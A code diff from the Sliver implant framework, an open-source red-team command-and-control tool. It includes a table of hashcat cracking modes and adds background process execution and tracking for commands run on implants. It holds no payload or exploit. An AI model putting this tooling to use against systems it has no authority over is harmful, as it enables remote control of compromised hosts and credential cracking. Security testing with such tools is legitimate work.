1411: "SSHA-256(Base64), LDAP {SSHA256}",
|
||||
1420: "sha256($salt.$pass)",
|
||||
1421: "hMailServer",
|
||||
1430: "sha256(utf16le($pass).$salt)",
|
||||
1431: "base64(sha256(unicode($pass)))",
|
||||
1440: "sha256($salt.utf16le($pass))",
|
||||
1441: "Episerver 6.x >= .NET 4",
|
||||
1450: "HMAC-SHA256 (key = $pass)",
|
||||
1460: "HMAC-SHA256 (key = $salt)",
|
||||
1470: "sha256(utf16le($pass))",
|
||||
1500: "descrypt, DES (Unix), Traditional DES",
|
||||
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||
1700: "SHA2-512",
|
||||
1710: "sha512($pass.$salt)",
|
||||
1711: "SSHA-512(Base64), LDAP {SSHA512}",
|
||||
1720: "sha512($salt.$pass)",
|
||||
1722: "macOS v10.7",
|
||||
1730: "sha512(utf16le($pass).$salt)",
|
||||
1731: "MSSQL (2012, 2014)",
|
||||
1740: "sha512($salt.utf16le($pass))",
|
||||
1750: "HMAC-SHA512 (key = $pass)",
|
||||
1760: "HMAC-SHA512 (key = $salt)",
|
||||
1770: "sha512(utf16le($pass))",
|
||||
1800: "sha512crypt $6$, SHA512 (Unix)",
|
||||
2000: "STDOUT",
|
||||
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
2400: "Cisco-PIX MD5",
|
||||
2410: "Cisco-ASA MD5",
|
||||
2500: "WPA-EAPOL-PBKDF2",
|
||||
2501: "WPA-EAPOL-PMK",
|
||||
2600: "md5(md5($pass))",
|
||||
2611: "vBulletin < v3.8.5",
|
||||
2612: "PHPS",
|
||||
2711: "vBulletin >= v3.8.5",
|
||||
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||
3000: "LM",
|
||||
3100: "Oracle H: Type (Oracle 7+)",
|
||||
3200: "bcrypt $2\\*$, Blowfish (Unix)",
|
||||
3300: "MD5(Sun)",
|
||||
3500: "md5(md5(md5($pass)))",
|
||||
3610: "md5(md5($salt).$pass )",
|
||||
3710: "md5($salt.md5($pass))",
|
||||
3711: "MediaWiki B type",
|
||||
3720: "md5($pass.md5($salt))",
|
||||
3721: "WebEdition CMS",
|
||||
3800: "md5($salt.$pass.$salt)",
|
||||
3910: "md5(md5($pass).md5($salt))",
|
||||
4010: "md5($salt.md5($salt.$pass))",
|
||||
4110: "md5($salt.md5($pass.$salt))",
|
||||
4210: "md5($username.0.$pass)",
|
||||
4300: "md5(strtoupper(md5($pass)))",
|
||||
4400: "md5(sha1($pass))",
|
||||
4500: "sha1(sha1($pass))",
|
||||
4510: "sha1(sha1($pass).$salt)",
|
||||
4520: "sha1($salt.sha1($pass))",
|
||||
4521: "Redmine",
|
||||
4522: "PunBB",
|
||||
4600: "sha1(sha1(sha1($pass)))",
|
||||
4700: "sha1(md5($pass))",
|
||||
4710: "sha1(md5($pass).$salt)",
|
||||
4711: "Huawei sha1(md5($pass).$salt)",
|
||||
4800: "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
4900: "sha1($salt.$pass.$salt)",
|
||||
5000: "sha1(sha1($salt.$pass.$salt))",
|
||||
5100: "Half MD5",
|
||||
5200: "Password Safe v3",
|
||||
5300: "IKE-PSK MD5",
|
||||
5400: "IKE-PSK SHA1",
|
||||
5500: "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
5600: "NetNTLMv2",
|
||||
5700: "Cisco-IOS type 4 (SHA256)",
|
||||
5800: "Samsung Android Password/PIN",
|
||||
6000: "RIPEMD-160",
|
||||
6100: "Whirlpool",
|
||||
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
|
||||
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
|
||||
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
|
||||
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
|
||||
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
|
||||
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
|
||||
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
|
||||
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
|
||||
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
|
||||
6300: "AIX {smd5}",
|
||||
6400: "AIX {ssha256}",
|
||||
6500: "AIX {ssha512}",
|
||||
6600: "1Password, agilekeychain",
|
||||
6700: "AIX {ssha1}",
|
||||
6800: "LastPass + LastPass sniffed",
|
||||
6900: "GOST R 34.11-94",
|
||||
7000: "FortiGate (FortiOS)",
|
||||
7100: "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
7200: "GRUB 2",
|
||||
7300: "IPMI2 RAKP HMAC-SHA1",
|
||||
7400: "sha256crypt $5$, SHA256 (Unix)",
|
||||
7401: "MySQL $A$ (sha256crypt)",
|
||||
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
7700: "SAP CODVN B (BCODE)",
|
||||
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||
7800: "SAP CODVN F/G (PASSCODE)",
|
||||
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||
7900: "Drupal7",
|
||||
8000: "Sybase ASE",
|
||||
8100: "Citrix NetScaler (SHA1)",
|
||||
8200: "1Password, cloudkeychain",
|
||||
8300: "DNSSEC (NSEC3)",
|
||||
8400: "WBB3 (Woltlab Burning Board)",
|
||||
8500: "RACF",
|
||||
8600: "Lotus Notes/Domino 5",
|
||||
8700: "Lotus Notes/Domino 6",
|
||||
8800: "Android FDE <= 4.3",
|
||||
8900: "scrypt",
|
||||
9000: "Password Safe v2",
|
||||
9100: "Lotus Notes/Domino 8",
|
||||
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
9300: "Cisco-IOS $9$ (scrypt)",
|
||||
9400: "MS Office 2007",
|
||||
9500: "MS Office 2010",
|
||||
9600: "MS Office 2013",
|
||||
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
|
||||
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
|
||||
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||
9900: "Radmin2",
|
||||
10000: "Django (PBKDF2-SHA256)",
|
||||
10100: "SipHash",
|
||||
10200: "CRAM-MD5",
|
||||
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||
10600: "PDF 1.7 Level 3 (Acrobat 9)",
|
||||
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||
10800: "SHA2-384",
|
||||
10810: "sha384($pass.$salt)",
|
||||
10820: "sha384($salt.$pass)",
|
||||
10830: "sha384(utf16le($pass).$salt)",
|
||||
10840: "sha384($salt.utf16le($pass))",
|
||||
10870: "sha384(utf16le($pass))",
|
||||
10900: "PBKDF2-HMAC-SHA256",
|
||||
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||
11000: "PrestaShop",
|
||||
11100: "PostgreSQL CRAM (MD5)",
|
||||
11200: "MySQL CRAM (SHA1)",
|
||||
11300: "Bitcoin/Litecoin wallet.dat",
|
||||
11400: "SIP digest authentication (MD5)",
|
||||
11500: "CRC32",
|
||||
11600: "7-Zip",
|
||||
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||
11900: "PBKDF2-HMAC-MD5",
|
||||
12000: "PBKDF2-HMAC-SHA1",
|
||||
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||
12100: "PBKDF2-HMAC-SHA512",
|
||||
12200: "eCryptfs",
|
||||
12300: "Oracle T: Type (Oracle 12+)",
|
||||
12400: "BSDi Crypt, Extended DES",
|
||||
12500: "RAR3-hp",
|
||||
12600: "ColdFusion 10+",
|
||||
12700: "Blockchain, My Wallet",
|
||||
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
12900: "Android FDE (Samsung DEK)",
|
||||
13000: "RAR5",
|
||||
13100: "Kerberos 5, etype 23, TGS-REP",
|
||||
13200: "AxCrypt 1",
|
||||
13300: "AxCrypt 1 in-memory SHA1",
|
||||
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
|
||||
13500: "PeopleSoft PS_TOKEN",
|
||||
13600: "WinZip",
|
||||
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
|
||||
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
|
||||
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
|
||||
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
|
||||
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
|
||||
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
|
||||
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
|
||||
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
|
||||
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
|
||||
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
|
||||
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
|
||||
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
|
||||
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
|
||||
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
|
||||
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
|
||||
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||
13800: "Windows Phone 8+ PIN/password",
|
||||
13900: "OpenCart",
|
||||
14000: "DES (PT = $salt, key = $pass)",
|
||||
14100: "3DES (PT = $salt, key = $pass)",
|
||||
14400: "sha1(CX)",
|
||||
14500: "Linux Kernel Crypto API (2.4)",
|
||||
14600: "LUKS",
|
||||
14700: "iTunes backup < 10.0",
|
||||
14800: "iTunes backup >= 10.0",
|
||||
14900: "Skip32 (PT = $salt, key = $pass)",
|
||||
15000: "FileZilla Server >= 0.9.55",
|
||||
15100: "Juniper/NetBSD sha1crypt",
|
||||
15200: "Blockchain, My Wallet, V2",
|
||||
15300: "DPAPI masterkey file v1 + local context",
|
||||
15400: "ChaCha20",
|
||||
15500: "JKS Java Key Store Private Keys (SHA1)",
|
||||
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||
15700: "Ethereum Wallet, SCRYPT",
|
||||
15900: "DPAPI masterkey file v2 + Active Directory domain context",
|
||||
16000: "Tripcode",
|
||||
16100: "TACACS+",
|
||||
16200: "Apple Secure Notes",
|
||||
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||
16400: "CRAM-MD5 Dovecot",
|
||||
16500: "JWT (JSON Web Token)",
|
||||
16600: "Electrum Wallet (Salt-Type 1-3)",
|
||||
16700: "FileVault 2",
|
||||
16800: "WPA-PMKID-PBKDF2",
|
||||
16801: "WPA-PMKID-PMK",
|
||||
16900: "Ansible Vault",
|
||||
17200: "PKZIP (Compressed)",
|
||||
17210: "PKZIP (Uncompressed)",
|
||||
17220: "PKZIP (Compressed Multi-File)",
|
||||
17225: "PKZIP (Mixed Multi-File)",
|
||||
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||
17300: "SHA3-224",
|
||||
17400: "SHA3-256",
|
||||
17500: "SHA3-384",
|
||||
17600: "SHA3-512",
|
||||
17700: "Keccak-224",
|
||||
17800: "Keccak-256",
|
||||
17900: "Keccak-384",
|
||||
18000: "Keccak-512",
|
||||
18100: "TOTP (HMAC-SHA1)",
|
||||
18200: "Kerberos 5, etype 23, AS-REP",
|
||||
18300: "Apple File System (APFS)",
|
||||
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||
18500: "sha1(md5(md5($pass)))",
|
||||
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||
18700: "Java Object hashCode()",
|
||||
18800: "Blockchain, My Wallet, Second Password (SHA256)",
|
||||
18900: "Android Backup",
|
||||
19000: "QNX /etc/shadow (MD5)",
|
||||
19100: "QNX /etc/shadow (SHA256)",
|
||||
19200: "QNX /etc/shadow (SHA512)",
|
||||
19300: "sha1($salt1.$pass.$salt2)",
|
||||
19500: "Ruby on Rails Restful-Authentication",
|
||||
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
|
||||
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
|
||||
19800: "Kerberos 5, etype 17, Pre-Auth",
|
||||
19900: "Kerberos 5, etype 18, Pre-Auth",
|
||||
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
|
||||
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
|
||||
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
|
||||
20200: "Python passlib pbkdf2-sha512",
|
||||
20300: "Python passlib pbkdf2-sha256",
|
||||
20400: "Python passlib pbkdf2-sha1",
|
||||
20500: "PKZIP Master Key",
|
||||
20510: "PKZIP Master Key (6 byte optimization)",
|
||||
20600: "Oracle Transportation Management (SHA256)",
|
||||
20710: "sha256(sha256($pass).$salt)",
|
||||
20711: "AuthMe sha256",
|
||||
20720: "sha256($salt.sha256($pass))",
|
||||
20800: "sha256(md5($pass))",
|
||||
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||
21100: "sha1(md5($pass.$salt))",
|
||||
21200: "md5(sha1($salt).md5($pass))",
|
||||
21300: "md5($salt.sha1($salt.$pass))",
|
||||
21400: "sha256(sha256_bin($pass))",
|
||||
21500: "SolarWinds Orion",
|
||||
21501: "SolarWinds Orion v2",
|
||||
21600: "Web2py pbkdf2-sha512",
|
||||
21700: "Electrum Wallet (Salt-Type 4)",
|
||||
21800: "Electrum Wallet (Salt-Type 5)",
|
||||
22000: "WPA-PBKDF2-PMKID+EAPOL",
|
||||
22001: "WPA-PMK-PMKID+EAPOL",
|
||||
22100: "BitLocker",
|
||||
22200: "Citrix NetScaler (SHA512)",
|
||||
22300: "sha256($salt.$pass.$salt)",
|
||||
22301: "Telegram Mobile App Passcode (SHA256)",
|
||||
22400: "AES Crypt (SHA256)",
|
||||
22500: "MultiBit Classic .key (MD5)",
|
||||
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||
22700: "MultiBit HD (scrypt)",
|
||||
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||
23001: "SecureZIP AES-128",
|
||||
23002: "SecureZIP AES-192",
|
||||
23003: "SecureZIP AES-256",
|
||||
23100: "Apple Keychain",
|
||||
23200: "XMPP SCRAM PBKDF2-SHA1",
|
||||
23300: "Apple iWork",
|
||||
23400: "Bitwarden",
|
||||
23500: "AxCrypt 2 AES-128",
|
||||
23600: "AxCrypt 2 AES-256",
|
||||
23700: "RAR3-p (Uncompressed)",
|
||||
23800: "RAR3-p (Compressed)",
|
||||
23900: "BestCrypt v3 Volume Encryption",
|
||||
24100: "MongoDB ServerKey SCRAM-SHA-1",
|
||||
24200: "MongoDB ServerKey SCRAM-SHA-256",
|
||||
24300: "sha1($salt.sha1($pass.$salt))",
|
||||
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||
24600: "SQLCipher",
|
||||
24700: "Stuffit5",
|
||||
24800: "Umbraco HMAC-SHA1",
|
||||
24900: "Dahua Authentication MD5",
|
||||
25300: "MS Office 2016 - SheetProtection",
|
||||
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
|
||||
25500: "Stargazer Stellar Wallet XLM",
|
||||
25600: "bcrypt(md5($pass)) / bcryptmd5",
|
||||
25700: "MurmurHash",
|
||||
25800: "bcrypt(sha1($pass)) / bcryptsha1",
|
||||
25900: "KNX IP Secure - Device Authentication Code",
|
||||
26000: "Mozilla key3.db",
|
||||
26100: "Mozilla key4.db",
|
||||
26200: "OpenEdge Progress Encode",
|
||||
26300: "FortiGate256 (FortiOS256)",
|
||||
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26500: "iPhone passcode (UID key + System Keybag)",
|
||||
26600: "MetaMask Wallet",
|
||||
99999: "Plaintext",
|
||||
}
|
||||
|
||||
func hashcatHashTypeName(mode int32) (string, bool) {
|
||||
name, ok := hashcatHashTypes[mode]
|
||||
return name, ok
|
||||
}
|
||||
|
||||
func humanizeHashRate(rate uint64) string {
|
||||
const unit = 1000
|
||||
if rate < unit {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
value := float64(rate)
|
||||
exp := 0
|
||||
for value >= unit && exp < 5 {
|
||||
value /= unit
|
||||
exp++
|
||||
}
|
||||
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
|
||||
if exp == 0 {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
if exp > len(suffixes) {
|
||||
exp = len(suffixes)
|
||||
}
|
||||
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
|
||||
}
|
||||
@@ -27,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.Bool("background", false, "start the process in the background and track it")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
@@ -45,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||
|
||||
executeChildrenCmd := &cobra.Command{
|
||||
Use: consts.ExecuteChildrenStr,
|
||||
Short: "List tracked background execute child processes",
|
||||
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExecuteChildrenCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
executeCmd.AddCommand(executeChildrenCmd)
|
||||
|
||||
executeAssemblyCmd := &cobra.Command{
|
||||
Use: consts.ExecuteAssemblyStr,
|
||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Querying execute children ...", ctrl)
|
||||
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if execChildren.Response != nil && execChildren.Response.Async {
|
||||
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execChildren.Response)
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
}
|
||||
|
||||
// PrintExecuteChildren - Render execute children output.
|
||||
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||
con.PrintInfof("No tracked background execute children\n")
|
||||
return
|
||||
}
|
||||
|
||||
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||
|
||||
for _, child := range children {
|
||||
state := "running"
|
||||
exitCode := "-"
|
||||
if child.Exited {
|
||||
state = "exited"
|
||||
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||
}
|
||||
|
||||
started := "-"
|
||||
if child.StartTime != 0 {
|
||||
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background, _ := cmd.Flags().GetBool("background")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
if background && (saveLoot || saveOutput) {
|
||||
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||
return
|
||||
}
|
||||
|
||||
if output && beacon != nil {
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||
|
||||
if captureOutput && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
